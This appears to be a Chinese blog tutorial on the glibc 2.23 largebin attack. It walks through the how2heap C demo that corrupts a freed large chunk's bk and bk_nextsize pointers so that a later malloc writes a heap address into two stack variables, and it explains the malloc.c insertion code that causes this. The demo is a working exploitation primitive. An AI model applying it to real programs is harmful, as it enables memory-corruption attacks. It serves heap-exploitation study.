堆利用之largebin_attack

和 unsorted bin attack 有点类似,都是通过把 fake_chunk 挂进 bin 中来引发问题,与 unsorted bin attack 不同的就是 large bin 要多考虑两个结构fd_nextsizebk_nextsize

glibc:2.23

large bin 结构

大于512(1024)字节的 chunk 称之为 large chunk,large bin 就是用于管理这些 large chunk 的

  • 从大到小排序
  • 如果大小相同,按照free的时间排序
  • 多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
  • size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk

image-20211212200628434

image-20211208144334575

how2heap

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdio.h>
#include <stdlib.h>

int main()
{

unsigned long stack_var1 = 0;
unsigned long stack_var2 = 0;

fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

unsigned long *p1 = malloc(0x320);
malloc(0x20);
unsigned long *p2 = malloc(0x400);
malloc(0x20);
unsigned long *p3 = malloc(0x400);
malloc(0x20);

free(p1);
free(p2);

void* p4 = malloc(0x90);

free(p3);

p2[-1] = 0x3f1;
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);
p2[3] = (unsigned long)(&stack_var2 - 4);

malloc(0x90);

fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);

return 0;
}

19 行,首先定义了两个变量 stack_var1 和 stack_var2,然后再分别申请了 3 个 chunk ,p1(0x320)、p2(0x400)、p3(0x400),中间用 0x20 大小的 chunk 隔开

image-20211213155616943

22 行,free 掉 chunk_p1 和 chunk_p2,因为大小超出了 fastbin 的范围,所以链入 unsorted bin

image-20211213161601180

24 行,申请一个 0x90 大小的 chunk

image-20211213162340098

这一步做了很多事

  • 从 unsorted bin 中拿出 p1(0x602000) (因为 unsortedbin 遵循先进先出)
  • 把 p1 放入 small bin,标记 small bin 中有空闲 chunk
  • 从 unsorted bin 中拿出最后一个 chunk_p2
  • 将 p2 放入 large bin(大于0x3f0),标记 large bin 中有空闲 chunk
  • unsorted bin 为空,从 small bin 中的 p1 分割出一个 chunk,把分割剩下的 chunk 丢入 unsorted bin

26 行,释放 chunk_p3,同理也会进入 unsorted bin

image-20211213165140789

32 行,修改 chunk_p2 内部结构

修改前:

image-20211213170925481

修改后:

image-20211213170717719

bk 改为了 stack_var1 - 0x10,所以以 stack_var1 - 0x10为 chunk 头的 fd 指针就是stack_var1

同理, bk_nextsize被修改成了 stack_var2 - 0x20 ,所以以stack_var2 - 0x20 为 chunk 头的 fd_nextsize就是stack_var2

用图片表示即为

20210120161024708

34 行,申请一个 0x90 大小的 chunk ,和之前一样

申请前:

image-20211214144054971

申请后:

image-20211215211053336

  • 从 unsorted bin 中拿出 p1_left (0x6020a0),放入 small bin,并标记 small bin 中有空闲 chunk
  • 再从 unsorted bin 中拿出 p3 (0x6027a0),放入 large bin,并标记 large bin 中有空闲 chunk
  • 从 small bin 中分割出一个 0x90 大小的 chunk,剩下的 chunk 丢入 unsorted bin

37 行,可以发现 stack_var1 和 stack_var2 被改为了同样的地址

image-20211215205938894

malloc.c 源码分析

现在细说 unsorted bin 拿出 p3 的过程,首先会判断 p3 应该归属的 bin 的类型,根据 size 判断出是 large bin,因为此时 large bin 中有 p2,所以还会比较 p3 和 p2 的大小,再根据实际情况制定两个 chunk 的 fd_nextsizebk_nextsizefdbk指针,以下是具体过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
//glibc-2.23 
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

/* Take now instead of binning if exact fit */

if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}

/* place chunk in bin */

if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert ((fwd->size & NON_MAIN_ARENA) == 0);
while ((unsigned long) size < fwd->size)
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

之后会比较 要放入的chunk (p3)原来的chunk (p2) 之间的大小

p3_size < p2_size

如果 p3_size < p2_size

就会执行下面的代码,因为之前我们把 p2 的 size 改为了0x3f0,p3 的 size 为 0x410,p3_size > p2_size,所以会绕过这个循环

1
2
3
4
5
while ((unsigned long) size < fwd->size)//如果 p3 的 size 比 p2 的 size 小 
{
fwd = fwd->fd_nextsize;
assert ((fwd->size & NON_MAIN_ARENA) == 0);
}

p3_size == p2_size

接着会判断 p3_size == p2_size 的情况

很显然也绕过了

1
2
3
if ((unsigned long) size == (unsigned long) fwd->size)
/* Always insert in the second position. */
fwd = fwd->fd;

p3_size > p2_size

然后就是 p3_size > p2_size 的情况了

结合之前修改 p2 的内容可以得出

  • p2->bk->fd = stack_var1
  • p2->bk_nextsize->fd_nextsize = stack_var2
1
2
3
4
5
6
7
8
else//制定 fd_nextsize 和 bk_nextsize
{
victim->fd_nextsize = fwd; //victim 为 p3;fwd 为 p2
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;

把上面的代码转化一下就是

1
2
3
4
5
6
7
8
else
{
P3->fd_nextsize = P2; //P3的fd_nextsize要修改成P2的头指针
P3->bk_nextsize = P2->bk_nextsize; //P3的bk_nextsize要修改成P2的bk_nextsize指向的地址
P2->bk_nextsize = P3; //P2的bk_nextsize要修改成P3的头指针
P3->bk_nextsize->fd_nextsize = P3; //P3的bk_nextsize所指向的堆块的fd_nextsize要修改成P3的头指针
}
bck = P2->bk; //bck等于P2的bk

再转换

  • p2->bk_nextsize->fd_nextsize = stack_var2
  • p3->bk_nextsize = p2->bk_nextsize
  • p3->bk_nextsize->fd_nextsize = p3

解方程得 stack_var2 = P3

1
2
3
4
5
mark_bin (av, victim_index);//制定 fd 和 bk
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

同理得

1
2
3
4
5
mark_bin(av, victim_index);
P3->bk = p2->bk; //P3的bk指针要等于P2的bk指针
P3->fd = P2; //P3的fd指针要等于P2的头指针
P2->bk = P3; //P2的bk指针要等于P3的头指针
P2->bk->fd = P3; //P2的bk指针指向的堆块的fd指针要等于P3的头指针

再转换

  • p2->bk->fd = stack_var1
  • p2->bk->fd = p3

解方程得 stack_var1 = P3

综上 stack_var1 = stack_var2 = P3


参考博客

https://blog.csdn.net/qq_41202237/article/details/112825556?spm=1001.2014.3001.5501